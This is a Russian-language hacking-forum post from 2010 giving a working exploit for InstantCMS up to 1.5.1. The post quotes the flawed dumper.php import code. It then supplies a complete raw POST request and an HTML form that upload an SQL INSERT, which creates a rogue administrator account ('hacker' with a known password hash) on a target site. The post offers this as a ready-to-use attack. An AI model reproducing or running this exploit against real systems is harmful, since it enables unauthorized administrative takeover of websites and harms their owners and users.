Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

13.05.2010, 12:58
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
InstantCMS <==1.5.1 Внедерение sql кода Добавляем админа
Иногда бывают моменты, когда нет смысла искать уязвимость, чисто потому что разработчик продукта сам ее нашел за вас =)))
Уязвимость была найдена методом сравнения нового дистрибутива и старого. В результате было найдено много багов в старых дистрибутивах. Самый вкусный выкладываю.
файл
/core/ajax/dumper.php
Этот скрипт по идее создан для админа, но пускает и простых юзеров. Суть значит в чем? Он экспортит, импортит бд и удаляет бэкапы.
С экспортом бд ничего хорошего сказать не могу. На локалхосте робит, на некоторых сайтах работать отказывается. Но нам он и не нужен. Мы будем добавлять админа через import
PHP код:
if ($opt=='import'){
$uploaddump = $dir.'/import.sql';
if (@move_uploaded_file($_FILES['dumpfile']['tmp_name'], $uploaddump)) {
include($_SERVER['DOCUMENT_ROOT'].'/includes/dbimport.inc.php');
$errors = '';
if(dbRunSQL($uploaddump)){
@unlink($uploaddump);
echo '<span style="color:green">Импорт базы данных завершен.</span>';
} else {
echo '<span style="color:red">'.$errors.'</span>';
}
} else {
echo '<span style="color:red">Ошибка импорта базы</span>';
}
}
1) Передаем opt=import И через $_FILES шлем файл с evil запросом.
/includes/dbimport.inc.php
PHP код:
strstr($str, 'CREATE TABLE') ||
strstr($str, 'INSERT INTO') ||
strstr($str, 'DROP') ||
strstr($str, 'UPDATE') ||
strstr($str, 'ALTER TABLE'))
select запросы неприемлимы импортер их не хавает. Но и смысла в них нет.
Значит как юзать.
1) Тупо шлем пакет:
Код:
POST /core/ajax/dumper.php HTTP/1.0
User-Agent: google/bot
Host: localhost
Proxy-Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=----------sBqCWtu9l05BT8ffSSXt4Q
Content-Length: 675
------------sBqCWtu9l05BT8ffSSXt4Q
Content-Disposition: form-data; name="opt"
import
------------sBqCWtu9l05BT8ffSSXt4Q
Content-Disposition: form-data; name="dumpfile"; filename="13-05-2010.sql"
Content-Type: application/octet-stream
INSERT INTO `cms_users` (`id`, `group_id`, `login`, `nickname`, `password`, `email`, `icq`, `regdate`, `logdate`, `birthdate`, `is_locked`, `is_deleted`, `rating`, `points`, `last_ip`) VALUES ('666','2','hacker','hacker','5f4dcc3b5aa765d61d8327deb882cf99','yIIIaCTbIu_JIaMep@JIaMep.ru','100200300','2007-11-23 12:41:57','2010-05-13 11:46:50','1980-01-01','0','0','2','0','0.0.0.0');
------------sBqCWtu9l05BT8ffSSXt4Q--
В бд появится админ
id:666
login:hacker
password : password (md5)
email: yIIIaCTbIu_JIaMep@JIaMep.ru
2)Для консерваторов:
Код:
</html>
<head>
<title> The matr1x</title>
</head>
<h3>форма добавления админа</h3>
<form id="importdump" name="importdump" action="http://www.localhost/core/ajax/dumper.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="opt" value="import" />
<input name="dumpfile" type="file" id="dumpfile" size="25" />
<input type="submit" value="добавить админа" />
</form>
</body>
</html>
УСЕ! =)
Последний раз редактировалось The matrix; 13.05.2010 в 13:01..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|